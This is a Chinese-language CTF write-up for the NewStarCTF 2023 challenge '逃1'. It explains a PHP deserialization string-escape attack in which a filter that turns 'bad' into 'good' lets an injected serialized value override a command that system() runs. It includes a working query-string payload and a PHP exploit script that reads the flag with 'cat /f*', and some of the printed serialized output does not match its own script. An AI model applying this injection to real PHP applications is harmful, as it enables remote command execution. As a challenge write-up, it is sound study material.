[NewStarCTF 2023 公开赛道]逃1

代码审计.

这段代码分为三部分:1.war函数,2.GetFlag类,3.GetFlag类对象的定义,waf过滤以及反序列化 .

很经典的的一道题,键值对逃逸,改变cmd的value,去获取flag.

而war就是我们的突破点(str_replace("bad","good",$str);).

开始构造payload

复制代码
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

为什么这么构造呢?

让我们先来看一下未经过waf过滤后的value.

php 复制代码
<?php
 
class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}');
echo serialize($g);
 
?>

value:

O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}

我们只需要把上面的红色部分过滤掉就可以了,而过滤则通过waf来逃逸掉,waf可以把bad变成good,每一个bad就可以过滤一个char,绿色部分就是我们要过滤的数量为27,所以需要27个bad.

看一下过滤后的value.

exp:

php 复制代码
<?php
 
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}');
echo serialize(waf(serialize(new GetFlag($g))));
 
?>

value:

s:246:"O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}s:3:"cmd";s:6:"whoami";}";

此时反序列化时,红色部分就会被过滤掉.

获得flag,游戏结束~

相关推荐
unable code16 小时前
攻防世界-Misc-Wire1
网络安全·ctf·misc·1024程序员节
德迅云安全-小潘1 天前
网络威胁演变与态势感知的防御
安全·web安全
一岁天才饺子1 天前
SSRF漏洞绕过与漏洞解决
网络·网络安全·ssrf
Chengbei111 天前
fastjson 原生反序列化配合动态代理绕过限制
java·安全·网络安全·系统安全·安全架构
m0_466049971 天前
Webgoat-(A1)Broken Access Control:Hijack a session
web安全·网络安全
Chengbei111 天前
CVE-2025-24813 Tomcat 最新 RCE 分析复现
java·安全·web安全·网络安全·tomcat·系统安全·网络攻击模型
德迅云安全-小潘1 天前
网络空间资产安全发展演进与实践框架
数据库·web安全
JM丫1 天前
buuctf-ciscn_2019_es_2(栈迁移)
ctf
QZ166560951591 天前
2025年国内精细化、可交互、轻量级的泛监测体系产品推荐
网络安全
Blossom.1181 天前
多模态大模型实战:从零实现CLIP与电商跨模态检索系统
python·web安全·yolo·目标检测·机器学习·目标跟踪·开源软件